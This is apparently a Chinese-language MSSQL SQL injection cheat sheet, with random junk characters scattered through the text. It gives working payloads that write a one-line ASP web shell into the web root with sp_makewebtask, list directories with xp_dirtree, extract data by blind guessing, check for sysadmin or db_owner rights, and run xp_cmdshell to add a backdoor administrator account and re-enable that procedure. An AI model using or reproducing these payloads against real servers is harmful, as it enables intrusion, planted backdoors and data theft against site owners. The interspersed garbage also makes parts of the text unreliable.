7 V! V \& e2 Q Q;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');-- . ?$ v- }4 ~3 c6 z; Y, H( I//将一句话木马插入表中% I0 Z0 W3 Q( C: ?, f2 H
, m$ y, @, L6 V6 N6 L2 R. {* A;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';-- 5 G: U/ n" u/ |' M6 z F+ f
//导出一个ASP文件 ' M& A/ } d7 K- F! i* K# b% p F; g7 v: t+ Y 2 C: D) i9 F% \0 p. ^关于MSSQL列目录& \& U8 j( K4 Q0 k7 u
;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表 - t: ^( I, ~0 H4 {4 A3 z0 n5 lInsert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表 ; m' W8 ^" }& m# [0 z V/ C+ |+ [& ~- F! eand (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录 - D/ m+ y2 U/ J7 a5 m! m. ?8 f+ s7 J" Y' W2 Y0 [% ^, x5 F, [" Q
And (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段& q8 c+ V$ L) r2 ]
" S. T5 ?2 e, D! _And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符7 p9 R9 r5 l( T- \1 O$ z0 o% w0 {
4 _! \! `5 C9 T5 F+ U
( @, e |' O9 [( ^- y; W# b数据库版本和权限查看 # V/ j* ~+ ~6 e% A m4 p" H7 }; [* jand 1=(select @@VERSION) //查看详细的数据库信息. 6 Z# }1 i" ]! Iand 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA3 Q( f, t( z$ G* n; Y2 H
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER# j: {4 T; O, T0 m4 f: O- A
6 {0 |, d/ P6 t7 y 9 E2 R2 L1 l2 u( [( o+ X& q- {1.利用xp_cmdshell执行命令2 E- t" \* j* f
exec master..xp_cmdshell 'net user rfire 123456 /add' 9 ]1 X1 B2 y! L' i+ S: W1 Kexec master..xp_cmdshell 'net localgroup administrators rfire /add' 7 }; O' v/ Z# C& F N + k; c. o7 c6 G, S1 f ?恢复xp_cmdshell存储过程 # [% r. r+ w7 J" Z+ K& Q: L4 [Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'6 ~. n9 A5 f7 W: T Q% Z7 U